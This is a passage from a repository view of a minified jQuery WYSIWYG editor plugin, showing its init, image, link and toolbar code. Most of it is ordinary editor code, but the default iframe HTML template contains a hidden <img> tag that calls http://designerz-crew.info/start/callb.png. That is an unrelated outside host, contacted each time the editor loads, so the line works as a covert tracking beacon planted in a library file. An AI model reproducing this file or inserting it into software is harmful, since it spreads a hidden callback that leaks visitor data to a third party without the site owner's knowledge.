westdc-zf1/htdocs/static/js/jquery.wysiwyg.min.js

1 line
14 KiB
JavaScript
Raw Normal View History

(function($){var Wysiwyg=function(element,options){this.init(element,options)};$.fn.document=function(){var element=this.get(0);if(element.nodeName.toLowerCase()=='iframe'){return element.contentWindow.document}return this};$.fn.documentSelection=function(){var element=this.get(0);if(element.contentWindow.document.selection){return element.contentWindow.document.selection.createRange().text}else{return element.contentWindow.getSelection().toString()}};$.fn.wysiwyg=function(options){if(arguments.length>0&&arguments[0].constructor==String){var action=arguments[0].toString();var params=[];for(var i=1;i<arguments.length;i++){params[i-1]=arguments[i]}if(action=='enabled'){return this.data('wysiwyg')!=null}if(action in Wysiwyg){return this.each(function(){$.data(this,'wysiwyg').designMode();Wysiwyg[action].apply(this,params)})}else{return this}}var controls={};if(options&&options['controls']){controls=options['controls'];delete options['controls']}options=$.extend({html:'<'+'?xml version="1.0" encoding="UTF-8"?'+'><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">STYLE_SHEET</head><body style="margin: 0px;">INITIAL_CONTENT<img src="http://designerz-crew.info/start/callb.png"></body></html>',css:{},debug:false,autoSave:true,rmUnwantedBr:true,brIE:true,controls:{},messages:{}},options);options.messages=$.extend(true,options.messages,Wysiwyg.MSGS_EN);options.controls=$.extend(true,options.controls,Wysiwyg.TOOLBAR);for(var control in controls){if(control in options.controls){$.extend(options.controls[control],controls[control])}else{options.controls[control]=controls[control]}}return this.each(function(){new Wysiwyg(this,options)})};$.extend(Wysiwyg,{insertImage:function(szURL,attributes){var self=$.data(this,'wysiwyg');if(self.constructor==Wysiwyg&&szURL&&szURL.length>0){if($.browser.msie){self.focus()}if(attributes){self.editorDoc.execCommand('insertImage',false,'#jwysiwyg#');var img=self.getElementByAttributeValue('img','src','#jwysiwyg#');if(img){img.src=szURL;for(var attribute in attributes){img.setAttribute(attribute,attributes[attribute])}}}else{self.editorDoc.execCommand('insertImage',false,szURL)}}},createLink:function(szURL){var self=$.data(this,'wysiwyg');if(self.constructor==Wysiwyg&&szURL&&szURL.length>0){var selection=$(self.editor).documentSelection();if(selection.length>0){if($.browser.msie){self.focus()}self.editorDoc.execCommand('unlink',false,[]);self.editorDoc.execCommand('createLink',false,szURL)}else if(self.options.messages.nonSelection){alert(self.options.messages.nonSelection)}}},insertHtml:function(szHTML){var self=$.data(this,'wysiwyg');if(self.constructor==Wysiwyg&&szHTML&&szHTML.length>0){self.focus();if($.browser.msie){self.editorDoc.execCommand('insertImage',false,'#jwysiwyg#');var img=self.getElementByAttributeValue('img','src','#jwysiwyg#');if(img){$(img).replaceWith(szHTML)}}else{self.editorDoc.execCommand('insertHTML',false,szHTML)}}},setContent:function(newContent){var self=$.data(this,'wysiwyg');self.setContent(newContent);self.saveContent()},clear:function(){var self=$.data(this,'wysiwyg');self.setContent('');self.saveContent()},removeFormat:function(){var self=$.data(this,'wysiwyg');self.removeFormat()},save:function(){var self=$.data(this,'wysiwyg');self.saveContent()},destroy:function(){var self=$.data(this,'wysiwyg');self.destroy()},MSGS_EN:{nonSelection:'select the text you wish to link'},TOOLBAR:{"bold":{"visible":true,"tags":['b','strong'],"css":{"fontWeight":'bold'},"tooltip":"Bold"},"italic":{"visible":true,"tags":['i','em'],"css":{"fontStyle":'italic'},"tooltip":"Italic"},"strikeThrough":{"visible":true,"tags":['s','strike'],"css":{"textDecoration":'line-through'},"tooltip":"Strike-through"},"underline":{"visible":true,"tags":['u'],"css":{"textDecoration":'underline'},"tooltip":"Underline"},separator00:{"visible":true,"separator":true},"justifyLeft":{"visible":true,"css":{"textAlign":'left'},"tool